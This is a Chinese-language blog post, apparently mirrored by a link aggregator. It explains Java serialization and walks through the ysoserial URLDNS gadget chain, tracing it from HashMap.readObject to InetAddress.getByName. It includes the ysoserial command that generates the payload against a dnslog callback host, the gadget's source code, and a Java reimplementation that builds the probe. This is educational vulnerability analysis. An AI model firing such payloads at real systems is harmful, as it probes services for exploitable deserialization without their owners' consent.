3

URLDNS反序列化分析

 2 years ago
source link: https://dar1in9s.github.io/2022/09/14/Java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#URLDNS%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
Java反序列化原理和URLDNS反序列化分析
2022-09-14|java
字数总计: 1.6k|阅读时长: 7 分钟

Java反序列化漏洞的原理。

Java序列化和反序列化

Java序列化是将Java的数据和对象转换为字节流,反序列化则是将序列化后的字节流恢复为数据和对象。

如果想要序列化某个对象,则必须让对象所属的类机器属性是可序列化的,即必须实现如下两个接口之一:

  • Serializable
  • Externalizable

序列化可以使用ObjectOutputStreamwriteObject方法来完成
反序列化可以使用ObjectInputStreamreadObject方法来完成

java
// 序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(new User()); // 序列化操作
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(outputStream.toString());

// 反序列化
byte[] in = outputStream.toByteArray();
ByteArrayInputStream inputStream = new ByteArrayInputStream(in);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject(); // 反序列化操作
objectInputStream.close();
System.out.println(o);

在反序列化的时候,有如下要求:

  1. 被反序列化的类必须存在。
  2. serialVersionUID值必须一致。serialVersionUID必须是public static final long

除此之外,反序列化的时候是不会调用类的构造方法的。

Java在序列化时一个对象,将会调用这个对象中的writeObject方法,参数类型是ObjectOutputStream,因此可以通过类重写writeObject方法来自定义序列化。同理,反序列化时,可以通过类重写readObject方法来自定义反序列化。

java
public class User implements Serializable {
int age;
private String name;
public static final long serialVersionUID = 5454545454L;

private void writeObject(ObjectOutputStream oos) throws IOException {
oos.defaultWriteObject(); // 默认的序列化方式
oos.writeObject("hello world");
}

@Serial
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 默认的反序列化方式
String message = (String) ois.readObject();
System.out.println(message);
}
}

ysoserial工具

ysoserial是一个反序列化payload生成工具,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给用户,从而执行用户预先定义的命令。

ysoserial工具的用法如下:

shell
java -jar ysoserial-all.jar [payload] '[command]'

例如生成URLDNS的payload:

shell
java -jar ysoserial-all.jar URLDNS http://urldns.4f4e4172.dns.1433.eu.org > urldns.txt

需要注意的是,windows不能在powershell中去执行,会输出错误的payload,要在cmd中去执行。

在生成了payload之后,进行如下测试:

java
@Test
public void test1() throws Exception {
FileInputStream inputStream = new FileInputStream("urldns.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject();
objectInputStream.close();

}

执行即可发现进行了dns解析,dnslog平台有回显。

URLDNS反序列化分析

URLDNS是ysoserial中的一个利用链,其payload在生成时可以发起dns解析,通常用于检测是否存在反序列化漏洞,整个调用链使用Java内置的类构造,对第三方库没有依赖。

因为URLDNS调用链简单,所以很适合用来入门学习Java反序列化。

以下是ysoserial生成URLDNSpayload的代码

java
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* 重写SilentURLStreamHandler类是为了避免创建URL对象的时候发出DNS请求
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

ysoserial会调用getObject方法获得Payload,这个方法返回的是一个对象,这个对象就是最后将被序列化的对象,在这里getObject方法返回一个HashMap对象。

因此,反序列化的时候就是调用的HashMapreadObject方法,其代码如下:

java
@java.io.Serial
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " + loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " + mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

根据ysoserial生成URLDNSpayload的代码中的注释,During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered,可以知道触发点在于readObject中的最后一行代码,在这里下断点,其中的key是URL对象

202209141743661.png

跟进hash函数,其会调用key的hashCode方法

202209141729885.png

继续跟进,由于URL对象的hashCode被设置为了-1,这里使用handler.hashCode对其重新计算。这里的handler是URLStreamHandler的实现子类

202209141731368.png

继续跟进,这里调用了一个getHostAddress方法,参数是最开始的URL对象

202209141733063.png

进入getHostAddress方法,可以看到调用了InetAddress.getByName方法,dns请求便是在此发出的。

202209141737828.png

因此,整个调用链为:

plaintext
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()

总观整个调用链,要到最后的InetAddress.getByName()方法,需要如下条件:

  1. HashMap中元素的key需要是URL对象;
  2. URl对象的hashCode属性需要是-1;

因此,就容易理解ysoserial生成payload的代码了。以下是此payload的另一种实现,原理相同:

java
import org.apache.commons.codec.binary.Base64;
import org.junit.Test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


@Test
public void test() throws Exception {
URL url = new URL("http://mydns.4f4e4172.dns.1433.eu.org");
HashMap hashMap = new HashMap<>();
hashMap.put(url, "");
Class clazz = Class.forName("java.net.URL");
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.flush();
objectOutputStream.close();

System.out.println(Base64.encodeBase64String(outputStream.toByteArray()));
}

P神的《Java安全漫谈》——反序列化篇
https://javasec.org/javase/JavaDeserialization/Serialization.html

感谢我的小兔兔@兔子一直陪在我身边,要一直一直爱你!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK